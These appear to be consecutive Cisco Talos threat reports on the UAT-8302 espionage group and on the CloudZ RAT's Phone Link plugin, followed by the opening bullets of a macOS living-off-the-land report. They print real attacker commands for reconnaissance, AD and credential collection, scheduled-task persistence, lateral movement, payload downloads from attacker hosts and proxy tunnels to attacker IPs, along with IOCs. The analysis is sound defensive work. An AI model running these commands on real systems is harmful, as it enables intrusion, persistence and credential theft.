• Cisco Talos is disclosing UAT-8302, a sophisticated, China-nexus advanced persistent threat (APT) group targeting government entities in South America since at least late 2024 and government agencies in southeastern Europe in 2025.
• After successful compromises, UAT-8302 deploys multiple custom-made malware families that have previously been used by other known China-nexus threat actors.
• Talos discovered a .NET-based backdoor we track as “NetDraft” that is a C#-based variant of the FinalDraft/SquidDoor malware family developed and operated by Jewelbug/REF7707/CL-STA-0049/LongNosedGoblin, a cluster of China-nexus APT actors.
• Furthermore, UAT-8302 also uses an updated version of the CloudSorcerer backdoor, a malware family used in attacks against Russian government entities in 2024.
• UAT-8302 also used VSHELL and its SNOWLIGHT stager in their operations, along with a new Rust-based stager that we track as SNOWRUST.

Talos assesses with high confidence that UAT-8302 is a China-nexus advanced persistent threat (APT) group tasked primarily with obtaining and maintaining long-term access to government and related entities around the world.

Post-compromise activity consisted of information collection, credential extraction, and proliferation using open-source tooling such as Impacket, proxying tools, and custom-built malware.

Malware deployed by UAT-8302 connects it to several previously publicly disclosed threat clusters, indicating a close operating relationship between them at the very least. Overall, the various malicious artifacts deployed by UAT-8302 indicate that the group has access to tools used by other sophisticated APT actors, all of which have been assessed as China-nexus or Chinese-speaking by various third-party industry reports.

For instance, NetDraft, a .NET-based malware family deployed by UAT-8302 in South America, was also disclosed by ESET as NosyDoor, attributed to a China-nexus APT they track as LongNosedGoblin. ESET assesses that LongNosedGoblin used NosyDoor/NetDraft and other custom-made malware to target government organizations in Southeast Asia and Japan. Furthermore, as per Solar’s reporting, NetDraft was also deployed against Russian IT organizations in 2024 by Erudite Mogwai (LuckyStrike Agent).

NetDraft is likely a .NET-ported variant of the FinalDraft/SquidDoor malware family developed and operated exclusively by Jewelbug/REF7707/CL-STA-0049 — also another cluster of China-nexus APT actors.

Another malware family deployed by UAT-8302 is CloudSorcerer (version 3). Kaspersky disclosed that CloudSorcerer was used in attacks directed against Russian government entities in 2024.

Furthermore, two other malware families, SNAPPYBEE/DeedRAT and ZingDoor, were deployed by UAT-8302 in conjunction with each other, a tactic also highlighted by Trend Micro in 2024.

Talos’ analysis also connects more custom-made tooling that UAT-8302 used to other China-nexus or Chinese-speaking APTs:

• Draculoader: A generic shellcode loader deployed by UAT-8302, also used by the Earth Estries and Earth Naga APT groups who have histories of targeting government agencies in Southeast Asia and elsewhere.
• SNOWLIGHT: A generic stager for the VSHELL malware family, used by UAT-8302. Also used by UAT-6382, who exploited a Cityworks zero-day (CVE-2025-0994) to deploy VSHELL. SNOWLIGHT has also been seen in intrusions attributed to other China-nexus APT clusters, such as UNC5174 and UNC6586.

The various connections between UAT-8302 and other China-nexus or Chinese-speaking threat actors can be visualized as:

Figure 1. UAT-8302's interconnections.

Initial compromise and reconnaissance

UAT-8302's tooling overlaps with various APT groups that have been known to exploit both zero-day and n-day exploits to obtain initial access. We assess that UAT-8302 follows the same paradigm of obtaining initial access to its victims.

Once initial access is obtained, UAT-8302 conducts preliminary reconnaissance using red-teaming tools such as Impacket:

Other reconnaissance commands may be:

ipconfig /all
certutil -user -store My
certutil -user -store CA
certutil -user -store Root
whoami
nslookup www[.]google[.]com
net use
cmd.exe /c net view /domain
cmd.exe /c systeminfo
cmd.exe /c net time /domain
cmd.exe /c nslookup -type=SRV _ldap._tcp
net group <name> /domain

 One of UAT-8302's primary goals is to proliferate within the compromised network, and therefore, the actor conducts extensive reconnaissance on every endpoint that they can access. This extended recon is scripted usually using a custom-made PowerShell script such as “whatpc.ps1”:

powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\Windows\Temp\whatpc.ps1

The script may be persisted to collect system information via a scheduled task:

cmd.exe /c schtasks /create /tn 'ReconLiteDebug' /tr 'powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File c:\windows\temp\whatpc.ps1' /sc ONCE /st 08:25 /ru SYSTEM /f

cmd.exe /c schtasks /create /tn 'RunWhatPC' /tr 'c:\windows\temp\run.bat' /sc ONCE /st 23:28 /ru SYSTEM /f

This script executes the following commands on the systems to identify them:

whoami 
whoami.exe /groups
whoami.exe /priv
net.exe user
net.exe localgroup
net.exe localgroup administrators
ipconfig.exe /all
ARP.EXE -a
ROUTE.EXE print
NETSTAT.EXE -ano
cmd.exe /c net share
cmd.exe /c wmic startup get caption,command 2>&1
nltest.exe /dclist:<domain>
net.exe user /domain
net.exe group /domain
net.exe group Domain Admins /domain
nltest.exe /domain_trusts

UAT-8302 also performs ping sweeps of the network to discover more endpoints to proliferate into:

C:/Windows/Temp/ping_scan.bat
C:/Windows/Temp/run_scan.bat
C:/Windows/Temp/nbtscan.exe

cmd.exe /Q /c (for /l %i in (1,1,254) do @ping -n 1 -w 300 192.168.1.%i | find TTL= && echo 192.168.1.%i is alive) > C:\Windows\Temp\alive_hosts.txt

UAT-8302 also discovers SMB shares in the network to find reachable remote shares:

cmd.exe /Q /c (for /l %i in (1,1,254) do @net use \\192.168.1.%i\IPC$ >nul 2>&1 && echo 192.168.1.%i - Port 445 is open || echo 192.168.1.%i - Port 445 is closed) > C:\Windows\Temp\portscan.txt

Scanning tools

UAT-8302 may also download and run “gogo,” a GoLang based, open-sourced automated network scanning engine written in Simplified Chinese:

curl -fsSL hxxps://github[.]com/chainreactors/gogo/releases/download/v2.14.0/gogo_windows_amd64.exe -o go.exe

Additionally, UAT-8302 uses a variety of scanning tools such as QScan, naabu and dddd  PortQry and httpx to discover services in the network:

httpx.exe -sc -title -location -f -td -r 192.168.1.1/16
httpx.exe -sc -title -location -td -r 192.168.1.1/16 -o web.txt
httpx.exe -sc -title -location -td -u 192.168.1.1/16 -o web.txt

Information collection

UAT-8302 collects a variety of information about the environment that they are operating within including Active Directory (AD) information and credentials using open-sourced tooling such as:

adconnectdump.py

A Python-based tool for Azure AD Connect/Entra ID connect credential extraction:

python.exe adconnectdump.py

Manual extraction

UAT-8302 may also directly query the AD user and computer objects to obtain information from them via PowerShell:

powershell -command Get-ADUser -Filter * -Property * | Select-Object Name, Displayname, LastLogonDate, PasswordLastSet, PasswordExpired, Description, EmailAddress, homeDirectory, scriptPath

powershell -command Get-ADUser -Filter * -Property * | Select-Object SamAccountName, DisplayName, Enabled, LastLogonDate, PasswordLastSet, PasswordExpired, Description, EmailAddress, HomeDirectory, ScriptPath, @{Name='Groups';Expression={((Get-ADUser $.SamAccountName -Properties MemberOf).MemberOf | ForEach-Object { ($ -split ',')[0] -replace '^CN=' }) -join '; '}}

powershell -Command Get-ADComputer -Filter * -Property Name,DNSHostName,OperatingSystem,Description | Select-Object Name, DNSHostName, OperatingSystem, Description | Format-Table -AutoSize
powershell -Command Get-ADGroup -Filter * -Properties Members, Description | Select-Object Name, Description, @{Name='Members';Expression={ ($.Members | ForEach-Object { ($ -split ',')[0] -replace '^CN=' }) -join '; ' }}| Format-Table -AutoSize

Specific AD users of interest may also be queried using system tools such as dsmod and dsquery.

Log collection

UAT-8302 also collects event log information and the logs themselves on multiple endpoints. Logs are an excellent source of obtaining information and understanding security configurations and policies applied within a target’s environment:

powershell -Command Get-WinEvent -ListLog Security | Format-List LogName, FileSize, LogMode, MaximumSizeInBytes, RecordCount

powershell -command Get-EventLog -LogName System -Source NETLOGON -Newest 5000 | Where-Object { $_.Message -match "Administrator" }

powershell -Command chcp 437 >$null; Get-WinEvent -FilterHashtable @{ LogName = 'Security'; ID = 4768 } | Where-Object { \$_.Message -match 'Administrador' }

Audit policies are also queried extensively to obtain system logging configurations:

auditpol /get /category:Logon/Logoff

auditpol /get /category:*

UAT-8302 also collects AD snapshots using tools such as the AD Explorer tool:

ae.exe -snapshot c:\windows\temp\result.dat /accepteula

cmd.exe /C 7zr.exe a -mx=5 c:\windows\temp\r.7z c:\windows\temp\result.dat

UAT-8302 also uses a tool written in Simplified Chinese called “SharpGetUserLoginIPRP” — derived from another Chinese-language repository — which is used to extract login information from a domain controller:

C:\ProgramData\S.exe user:pass@IP -day

Proliferation through the network

UAT-8302 proliferates across various endpoints by using a combination of either Impacket- or WMI-based remote process creation:

cmd.exe /C wmic /node:IP process call create cmd.exe /c c:\programdata\e1.bat

cmd.exe /C schtasks /S IP /U username /P passwd /create /tn 'Runbat' /tr 'c:\windows\temp\run.bat' /sc ONCE /st 5:12 /ru SYSTEM /f

These BAT files are meant to execute the accompanying malware on the target systems.

Furthermore, UAT-8302 may also extract login credentials from MobaxXterm, a multi-functional and tabbed SSH client, using tools such as MobaXtermDecryptor to pivot to other endpoints.

Custom-made malware deployment

UAT-8302 deploys a variety of malware families in their intrusions including NetDraft, CloudSorcerer version 3, and VSHELL.

NetDraft

NetDraft, also known as  NosyDoor, is a .NET variant of the FINALDRAFT malware. FINALDRAFT or Squidoor is a malware family developed and operated exclusively by Jewelbug/REF7707/CL-STA-0049, a cluster of China-nexus APT actors. FINALDRAFT uses legitimate services such as MS Graph to act as command-and-control servers (C2s) to execute commands and payloads on the compromised system. Similarly, NetDraft relies on the MS Graph API to communicate with its OneDrive based C2. NetDraft is deployed using the following mechanism:

• A benign executable is used to side load a malicious dynamic-link library (DLL) based loader.
• The loader DLL decodes NetDraft from an accompanying data file and invokes it in the context of the existing process.
• NetDraft also contains an embedded, .NET-based helper library. The library is compressed and embedded using the Fody/Costura framework. During runtime, the library is decompressed and instrumented to carry out operations on the endpoint on behalf of NetDraft. We track this library as “FringePorch.”

Figure 2. NetDraft and FringePorch infection chain.

NetDraft and FringePorch support the following functionalities:

• Execute arbitrary commands on the endpoint
• Execute a .NET based assembly sent by the C2 within NetDraft’s process context
• Exit and stop execution
• Upload files to C2
• Download files from specified remote locations to local disks
• File management: Change current working directory, rename files, enumerate files, and set write times
• Sleep
• Execute a .NET plugin: This functionality is similar to its ability to run arbitrary .NET based assemblies. Here, the implant runs a provided plugin’s “Plugin.Run” function.

Since NetDraft is missing the capability to persist across reboots and relogins, one of the first commands the C2 issues to it is the creation of a malicious scheduled task:

schtasks /create /ru system /tn Microsoft\Windows\Maps\{a086ff1e-d6dc-45f7-b3e4-6udknw82sa} /sc hourly /mo 2 /tr 'C:\ProgramData\Microsoft\Microsoft\Appunion.exe' /F

CloudSorcerer v3

Another malware UAT-8302 deploys is the latest version of the CloudSorcerer backdoor (version 3).  The malware consists of the side-loading triad of files: a benign executable, a malicious DLL-based loader, and the actual implant in a data file:

Yandex.exe -r -p:test.ini -s:12

VMtools.exe -r -p:VM.ini -s:12

The executables will sideload a DLL named “mspdb60[.]dll”, which will load and decrypt the “.ini” file specified in the command line — such as “test.ini” or “vm.ini”. The decrypted shellcode is then injected into a combination of specified benign processes.

CloudSorcerer v3 – The decrypted shellcode

The decrypted INI file is a newer version of CloudSorcerer (v3) disclosed by Kaspersky in 2024. Depending on process name (where it may have been initiated or injected), CloudSorcerer v3 will perform one of the following actions:

• If the process is named “dpapimig.exe”, then it will gather system information, inject itself into explorer.exe, and receive command codes from the C2 via a named pipe, gather disk information, enumerate files, execute arbitrary commands, perform file operations (delete, rename, read, write, etc.) and execute shellcode received via the named pipe.
• If the process is named “spoolsv.exe”, then it will contact GitHub to obtain C2 information and receive commands from the C2.
• If the process is named “mspaint.exe”, “browser”, or anything else, it will proceed to inject itself into dpapimg.exe, spoolsv.exe, etc. to kick off its malicious operations.

The system information CloudSorcerer v3 collects includes computer name, username and local system time.

Obtaining C2 information

Like CloudSorcerer v2, version 3 contacts a legitimate service to obtain the C2 information. The malware will either contact a specific GitHub repository to read a data blob, or read a GameSpot profile the threat actors set up.

The data blob is decoded to obtain the C2 information, which can exist in the one of the following formats depending on the variant of the CloudSorcerer backdoor:

• A C2 URL for a domain or IP, controlled by UAT-8302, that the malware uses to begin communication with the C2 to carry out malicious operations
• An access token to a legitimate service (such as OneDrive or Dropbox) that UAT-8302 uses to act as its C2 infrastructure to obtain next-stage payloads and commands

VSHELL, SNOWLIGHT and SNOWRUST

In other instances, UAT-8302 deploys the VSHELL malware via a slightly different triad of artifacts for side-loading malware. The benign executable side-loads a malicious DLL named “wininet[.]dll” that reads a BIN file and injects it into “explorer[.]exe”.

The payload is position-independent shellcode that is injected into explorer[.]exe. The payload is a stager for the VSHELL malware that downloads and single-byte XORs the obtained payload with the key 0x99. The decoded payload is a garbled version of VSHELL.

It is worth noting that Talos observed the same single byte key and stager being used by UAT-6382 to deliver VSHELL malware in early 2025. Further investigation revealed that this stager is in fact SNOWLIGHT, a lightweight downloader that can download and deploy a next stage payload. UNC5174 has been observed using SNOWLIGHT to download Sliver and VSHELL. UNC5174 is a suspected China-nexus threat actor that typically exploits zero-day and n-day vulnerabilities to gain access to critical infrastructure organizations in the Americas.

Talos discovered that UAT-8302 also used a Rust based variant of SNOWLIGHT that we track as “SNOWRUST.” SNOWRUST is based on the LexiCrypt Rust-based shellcode obfuscator. SNOWRUST simply decodes the embedded SNOWLIGHT shellcode and executes it to download the XOR encoded final payload, VSHELL, received from the C2.

In one intrusion, UAT-8302 used VSHELL to deploy a native driver from the Hades HIDS/HIPS software — an open-source Windows host monitoring kernel framework written in Simplified Chinese. The driver was specifically the System Monitoring filter driver that lets Hades register callbacks for process, thread, registry, and file events. This allows the driver to monitor the system and potentially allow, block, or hide events and artifacts.

The SNAPPYBEE/DeedRAT and ZingDoor combo

In one instance, UAT-8302 first deployed a RAT family known as DeedRAT/SNAPPYBEE. However, UAT-8302 almost immediately switched over to a DLL-based malware family known as ZingDoor, first disclosed by Trend Micro in 2023, which has attributed both DeedRAT and ZingDoor to the China-nexus threat actor Earth Estries.

ZingDoor has also been deployed after the successful exploitation of ToolShell in 2025 by China-nexus threat actors.

In parallel, UAT-8302 also deployed Draculoader, a generic shellcode loader, also used by the Earth Estries and Earth Naga APT groups who have histories of targeting government agencies in Southeast Asia and elsewhere:

C:\Documents and Settings\All Users\Microsoft\Crypto\RSA\d3d8.dll

Setting up additional means of backdoor access

Once UAT-8302 deploys their custom-made malware, they begin establishing other means of backdoor access. One of the techniques used is setting up proxy servers on infected systems to tunnel traffic outside the enterprise to the infected hosts using tools such as Stowaway (another tool written in Simplified Chinese):

c:\windows\system32\wagent.exe -c 85[.]209[.]156[.]3:56456
  
cmd.exe /c (echo @echo off && start c:\windows\temp\mmc.exe -l 85[.]209[.]156[.]3:56456 -s <pass> && echo exit) > c:\windows\temp\trun.bat
  
ag531.exe -c 45[.]135[.]135[.]100:443 -s <blah> -f AgreedUponByAllParties

UAT-8302 may use other tools such as anyproxy to set up proxies within the infected enterprise’s network:

c:\users\public\any.exe

Furthermore, we observed UAT-8302 deploying the SoftEther VPN clients as well:

certutil -urlcache -split -f hxxp://38[.]54[.]32[.]244/Rar.exe rar.exe
  
rar.exe x glb.rar
  
Communicator.exe /usermode

Coverage

The following ClamAV signatures detect and block this threat:

• Win.Loader.CloudSorcerer-10059633-0
• Win.Loader.CloudSorcerer-10059634-0
• Win.Malware.CloudSorcerer-10059635-0
• Win.Tool.dddd-10059636-2
• Win.Tool.dddd-10059637-0
• Win.Loader.Donut-10059638-0
• Win.Loader.Draculoader-10059639-0
• Win.Tool.gogo-10059640-0
• Win.Tool.gogo-10059641-0
• Ps1.Tool.Microburst-10059642-0
• Win.Tool.Mobaxtermdecryptor-10059643-0
• Win.Malware.Netdraft-10059644-0
• Win.Malware.Netdraft-10059645-0
• Win.Malware.Netdraft-10059646-0
• Win.Malware.Netdraft-10059647-0
• Win.Malware.Snappybee-10059648-0
• Win.Malware.Snappybee-10059649-0
• Win.Malware.Snappybee-10059650-0
• Win.Malware.Snappybee-10059651-0
• Win.Malware.Snappybee-10059652-0
• Win.Malware.Snappybee-10059653-0
• Win.Malware.Snowrust-10059654-0
• Win.Malware.Agent-10059655-0
• Win.Malware.Stowaway-10059656-0
• Win.Malware.Stowaway-10059657-0
• Win.Loader.Agent-10059658-0
• Win.Malware.Agent-10059659-0
• Win.Malware.Agent-10059660-0
• Win.Loader.Agent-10059661-1
• Win.Malware.Agent-10059662-0

The following Snort Rules (SIDs) detect and block this threat:

• 66055, 66054, 301437, 301436, 301435, 301434, 301433, 301432, 301431
• 66052, 66053, 66050, 66051, 66048, 66049, 66046, 66047, 66044, 66045, 66042, 66043, 66040, 66041

Indicators of compromise (IOCs)

IOCs for this threat are also available on our GitHub repository here.

NetDraft, FringePorch

1139b39d3cc151ddd3d574617cf113608127850197e9695fef0b6d78df82d6ca
Ee56c49f42522637f401d15ac2a2b6f3423bfb2d5d37d071f0172ce9dc688d4b
51f0cf80a56f322892eed3b9f5ecae45f1431323600edbaea5cd1f28b437f6f2

 VSHELL

35b2a5260b21ddb145486771ec2b1e4dc1f5b7f2275309e139e4abc1da0c614b
199bd156c81b2ef4fb259467a20eacaa9d861eeb2002f1570727c2f9ff1d5dab

 ZingDoor

071e662fc5bc0e54bcfd49493467062570d0307dc46f0fb51a68239d281427c6

 Gogo

E74098b17d5d95e0014cf9c7f41f2a4e4be8baefc2b0eb42d39ae05a95b08ea5
2b627f6afe1364a7d0d832ccba87ef33a8a39f30a70a5f395e2a3cb0e2161cb3

 Stowaway

7c593ca40725765a0747cc3100b43a29b88ad1708ef77e915ab02686c0153001
F859a67ceebc52f0770a222b85a5002195089ee442eac4bea761c29be994e2ea

 anyproxy

7d9c70fc36143eb33583c30430dcb40cf9d306067594cc30ffd113063acd6292

  QScan

1bb59491f7289b94ab0130d7065d74d2459a802a7550ebf8cd0828f0a09c4d38

 Draculoader

843f8aea7842126e906cadbad8d81fa456c184fb5372c6946978a4fe115edb1c

 Dddd

343105919aa6df8a75ecb8b06b74f23a7d3e221fca56c67b728c50ea141314bc

 Httpx

4109f15056414f25140c7027092953264944664480dd53f086acb8e07d9fccab

 SoftEther VPN

3dec6703b2cbc6157eb67e80061d27f9190c8301c9dd60eb0be1e8b096482d7e

 SharpGetUserLogin

9f115e9b32111e4dc29343a2671ab10a2b38448657b24107766dc14ce528fceb
B19bfca2fc3fdabf0d0551c2e66be895e49f92aedac56654b1b0f51ec66e7404

 Naabu

45cd169bf9cd7298d972425ad0d4e98512f29de4560a155101ab7427e4f4123f

 PortQry

Fb6cebadd49d202c8c7b5cdd641bd16aac8258429e8face365a94bd32e253b00

  

Network IOCs

hxxps[://]www[.]drivelivelime[.]com
hxxps[://]www[.]drivelivelime[.]com/x
hxxps[://]www[.]drivelivelime[.]com/pw
www[.]drivelivelime[.]com
 
hxxps[://]msiidentity[.]com
hxxps[://]msiidentity[.]com/pw
msiidentity[.]com
 
hxxp[://]trafficmanagerupdate[.]com/index[.]php
trafficmanagerupdate[.]com
 
image[.]update-kaspersky[.]workers[.]dev
update-kaspersky[.]workers[.]dev
 
85[.]209[.]156[.]3
85[.]209[.]156[.]3:56456
85[.]209[.]156[.]3:46389
hxxp[://]85[.]209[.]156[.]3:8080/wagent[.]exe
hxxp[://]85[.]209[.]156[.]3:8082/wagent[.]exe
 
 
185[.]238[.]189[.]41
hxxp[://]185[.]238[.]189[.]41:8080          
 
103[.]27[.]108[.]55
hxxp[://]103[.]27[.]108[.]55:48265/
 
hxxp[://]38[.]54[.]32[.]244/Rar[.]exe
38[.]54[.]32[.]244
 
45[.]140[.]168[.]62
88[.]151[.]195[.]133
156[.]238[.]224[.]82
45[.]135[.]135[.]100

• Cisco Talos discovered an intrusion, active since at least January 2026, where an unknown attacker implanted a CloudZ remote access tool (RAT) and a previously undocumented plugin called “Pheno.”
• According to the functionalities of the CloudZ RAT and Pheno plugin, this was with the intention of stealing victims’ credentials and potentially one-time passwords (OTPs). 
• CloudZ utilizes the custom Pheno plugin to hijack the established PC-to-phone bridge by abusing the Microsoft Phone Link application, allowing the plugin to continuously scan for active Phone Link processes and potentially intercept sensitive mobile data like SMS and OTPs without deploying malware on the phone. 
• CloudZ evades detection by executing critical malicious functions dynamically in system memory and performing checks to avoid debuggers and sandbox environments. 

Attacker abuses the Windows Phone Link application 

Windows Phone Link (formerly "Your Phone") is a synchronization tool developed by Microsoft and built directly into Windows 10 and 11 that bridges a PC and a smartphone (Android or iPhone). By establishing a secure connection via Wi-Fi and Bluetooth, the application mirrors essential phone activities (such as application notifications and SMS messages) onto the computer screen, reducing the user’s need to physically interact with the mobile device while working on the computer. The Phone Link application writes synchronized phone data such as SMS messages, call logs, and the application notification history to the Windows PC in the application’s SQLite database file. 

Talos observed that during an intrusion, an attacker attempted to abuse the Windows Phone Link application using the CloudZ RAT and its Pheno plugin. The Pheno plugin is designed to monitor an active PC-to-phone bridge established by the Phone Link application on the victim machine. With a confirmed Phone Link activity on the victim's machine, the attacker using the CloudZ RAT can potentially intercept the Phone Link application’s SQLite database file (e.g., “PhoneExperiences-*.db”) on the victim machine, potentially compromising SMS-based OTP messages and other authenticator application notification messages. 

Intrusion summary of CloudZ infection 

Talos discovered from telemetry data that the intrusion had begun with an unknown initial access vector to the victim's environment, which led to the execution of a fake ScreenConnect application update executable. This malicious executable drop and executes an intermediate .NET loader executable, which subsequently deploys the modular CloudZ on the victim’s machine. Upon execution, the RAT decrypts its configuration data, establishes an encrypted socket connection to the command-and-control (C2) server, and enters its command dispatcher mode.   

CloudZ facilitates the C2 commands to exfiltrate credentials from the victim machine browser data, and it downloads and implants a plugin. The plugin performs reconnaissance of the Microsoft Phone Link application on the victim machine and writes the reconnaissance data to an output file in a staging folder. CloudZ reads back the Phone Link application data from the staging folder and sends it to the C2 server. 

Rust-compiled executable used as a dropper 

Talos discovered a Rust-compiled 64-bit executable, disguised with file names such as “systemupdates.exe” or “Windows-interactive-update.exe”, functioning as a loader. The malicious loader was compiled on Jan. 1, 2026, and has the developer string of rustextractor.pdb. 

When the loader is run on the victim machine, it decrypts and drops an embedded .NET loader binary disguised as a text file with the file names “update.txt” or “msupdate.txt” in the folder “C:\ProgramData\Microsoft\windosDoc\”. 

In another instance, Talos observed that the .NET loader was implanted in the victim machine by downloading it from an attacker-controlled staging server using the command shown below:  

curl -L -o C:\ProgramData\Microsoft\WindowsDoc\update[.]txt hxxps[://]calm-wildflower-1349[.]hellohiall[.]workers[.]dev

The dropper executes an embedded PowerShell script to establish persistence on the victim machine through a Windows task which executes the dropped malicious .NET loader. The PowerShell script achieves it by initially performing a runtime check to determine whether the dropped .NET loader is already active on the system. It queries all running processes using the Get-CimInstance Win32_Process command and filters for any instance of regasm.exe with the command line parameters that include the string update.txt. If such an instance is found, the script silently exits without taking any action. 

If the check indicates that the .NET loader is not running, the script proceeds to establish persistence by creating a scheduled task named SystemWindowsApis in the scheduled task folder \Microsoft\Windows\. It configures the task to trigger at system startup /sc onstart, execute under the SYSTEM account /ru SYSTEM with the highest privilege level /rl HIGHEST, and the /f flag ensures it will silently overwrite any existing task with the same name, allowing the malware to update its persistence mechanism. The script configures the task scheduler action to run the .NET loader by utilizing the living-off-the-land binary (LOLBin) regasm.exe, which is the .NET Framework Assembly Registration Utility located at “C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\”. It provides the path of the dropped .NET loader as the argument to regasm.exe with the /nologo flag. After creating the task, the script immediately triggers it with schtasks /run, ensuring it executes immediately and survives future reboots. 

.NET loader implants the CloudZ RAT 

Talos found that the attacker embedded CloudZ, an encrypted .NET-compiled RAT, in the .NET loader executable. 

When the .NET loader is triggered through the Windows task scheduler, it performs the detection evasion checks beginning with a timing-based evasion check, where it calculates the actual elapsed time of a sleep command to detect if it is executed in the analysis environment. It then performs enumeration of running processes in the victim machine against a list of security tools, including network sniffers like Wireshark and Fiddler, as well as system monitors like Procmon and Sysmon. The .NET loader exits the execution if these are detected in the victim environment. 

The loader then conducts hardware and environment checks to identify virtual machine (VM) or sandbox characteristics. It verifies that the system has at least two processor cores and searches for strings like “VIRTUAL” or “SANDBOX” within the system directory path, computer name, user domain, and the current victim username.  

The loader executable is embedded with multiple chunks of the hexadecimal strings in the binary, which are concatenated sequentially during the execution, reassembling a massive hexadecimal data blob. The loader converts the hexadecimal strings to bytes and performs bytewise XOR decryption using the key hexadecimal (0xCA). If the decrypted payload is a .NET assembly, the loader will reflectively run. Otherwise, it writes the decrypted payload to the folder “%TEMP%\{GUID}” and runs it as a process.  

Modular CloudZ RAT delivered as payload 

Talos discovered that a CloudZ, a modular RAT, is delivered as the payload in the current intrusion. CloudZ is a .NET executable compiled on Jan. 13, 2026, and is obfuscated with ConfuserEx obfuscation.  

CloudZ employs layers of defense against the analysis environments and reverse engineering. It queries the _ENABLE_PROFILING environment variable via GetEnvironmentVariable Windows API to detect whether a .NET profiler or debugger is attached to the RAT process on the victim machine. It uses the .NET method “System.Reflection.Emit.DynamicMethod” combined with “ILGenerator” method to create the executable functions dynamically during the RAT execution. 

The operation of CloudZ utilizes its configuration data, which is embedded in the binary, as a resource that it decrypts and loads into memory during execution. The decrypted configuration data includes various C2 commands, PowerShell scripts for data archive extraction, multiple file download methods, paths and names of staging folders, multiple HTTP headers, and the URLs of the staging servers. 

After the decryption of the configuration data, CloudZ decodes the Base64-encoded strings to get the URL of the staging server where the secondary configuration is stored.  

Talos found that the RAT downloads and processes secondary configuration data through the URLs “hxxps[://]round-cherry-4418[.]hellohiall[.]workers[.]dev/?t=1773406370” or "https[://]pastebin[.]com/raw/8pYAgF0Z?t=1771833517" and extracts the C2 server IP address “185[.]196[.]10[.]136” and port number 8089, establishing connections through TCP sockets. 

Pivoting on the Pastebin URL indicator, we found that the attacker used the Pastebin handler name “HELLOHIALL” and hosted the secondary configuration data at several Pastebin URLs.  

The RAT rotates between three hardcoded user-agent strings to blend its HTTP traffic with the legitimate browser requests of the victim machine. Every HTTP request includes anti-caching headers consisting of “Cache-Control: no-cache, no-store, must-revalidate", “Pragma: no-cache", and “Expires: 0”, which prevents intermediate proxies and CDN infrastructure from caching C2 or the staging server details.  

User-agent headers used by the CloudZ are: 

• Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 
• Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 

After the RAT establishes the C2 connection, it enters the command dispatcher module that relies on a decrypted configuration data loaded into memory. The configuration data contains Base64-encoded command identifiers which the RAT matches against the commands received from the C2 server to perform the several functionalities. The commands facilitated by CloudZ are shown in the table below: 

Base64-encoded command	Decoded command	Purpose
cG9uZw==	pong	Heartbeat response
UElORyE=	PING!	Heartbeat request
Q0xPU0U=	CLOSE	Terminate RAT process
SU5GTw==	INFO	collects OS edition, architecture, and hardware details from the victim machine
UnVuU2hlbGw=	RunShell	Execute shell command
QnJvd3NlclNlYXJjaA==	BrowserSearch	Browser data exfiltration
R2V0V2lkZ2V0TG9n	GetWidgetLog	Phone Link recon logs and data exfiltration
cGx1Z2lu	plugin	Load plugin
c2F2ZVBsdWdpbg==	savePlugin	Save plugin to disk at the staging directory C:\ProgramData\Microsoft\whealth\
c2VuZFBsdWdpbg==	sendPlugin	Upload Plugin to C2
UmVtb3ZlUGx1Z2lucw==	RemovePlugins	Remove all deployed plugin modules
UmVjb3Zlcnk=	Recovery	Recovery or reconnect routine
RFc=	DW	Download and write file operations
Rk0=	FM	File management operations – deletefile
TE4=	LN	Unknown
TXNn	Msg	Send message to C2
RXJyb3I=	Error	Error reporting back to C2
cmVj	rec	Screen recording

The RAT employs various methods to download and execute the plugins. The plugin download feature of RAT uses a three-method fallback approach. It first checks for the presence of the curl utility. If found, it attempts to download the file from a specified URL to a target path while following redirects. If curl is missing or the command fails, it falls back to PowerShell, where it first tries to download the file using the Invoke-WebRequest command. If that method also fails, it executes a final method that uses the LOLBin“bitsadmin” tool to download and save the plugin payloads to the victim machine.  

Talos observed from the telemetry data that the attacker has downloaded and implanted the Pheno plugin through the curl command from the staging server. 

curl -L -o C:\Windows\TEMP\pheno.exe hxxps[://]orange-cell-1353[.]hellohiall[.]workers[.]dev/pheno.exe

Pheno plugin to perform the Phone Link application recon 

In this intrusion, Talos observed that the attacker used a plugin called Pheno to perform reconnaissance of the Windows Phone Link application in the victim machine.  

Pheno is designed to detect if a user is currently syncing their mobile device to a Windows machine through the Phone Link application. It scans all running processes for specific keywords such as "YourPhone," "PhoneExperienceHost," or "Link to Windows," and if matches are found, it logs their Process IDs and file paths to the files with the filename “phonelink-<COMPUTERNAME>.txt”, created in two staging folders such as : 

•  C:\programdata\Microsoft\feedback\cm 
•  %TEMP%\Microsoft\feedback\cm 

After checking Phone Link processes and writing its results, Pheno executes a secondary check that reads back the contents of previously written files and searches the keyword "proxy" in a case-insensitive manner. The plugin conducts this check because the Microsoft Phone Link application creates a local proxy connection to relay traffic between the PC and the paired mobile device. The presence of "proxy" in the output files, whether generated by a previous execution of the pheno plugin, indicates that the Phone Link session is actively routing traffic through its relay channel.  

When the keyword is detected, the pheno plugin writes "Maybe connected" to its output file in the staging folders, which eventually allows the attacker, with the help of CloudZ RAT, to potentially monitor SMS or OTP requests that appear on the Phone Link application. 

Coverage

The following ClamAV signature detects and blocks this threat: 

• Win.Packed.Msilheracles-10030690-0 
• Win.Trojan.CloudZRAT-10059935-0 
• Win.Trojan.CloudZRAT-10059959-0 

The following Snort Rules (SIDs) detect and block this threat: 

• Snort 2: 66409, 66410, 66408 
• Snort 3: 301492, 66408 

Indicators of compromise (IOCs) 

The IOCs for this threat are available at our GitHub repository here.

• As macOS adoption grows among developers and DevOps, it has become a high value target; however, native "living-off-the-land" (LOTL) techniques for the platform remain significantly under-documented compared to Windows. 
• Adversaries can bypass security controls by repurposing native features like Remote Application Scripting (RAS) for remote execution and abusing Spotlight metadata (Finder comments) to stage payloads in a way that evades static file analysis. 
• Attackers can move toolkits and establish persistence using built-in protocols such as SMB, Netcat, Git, TFTP, and SNMP operating entirely outside the visibility of standard SSH-based telemetry. 
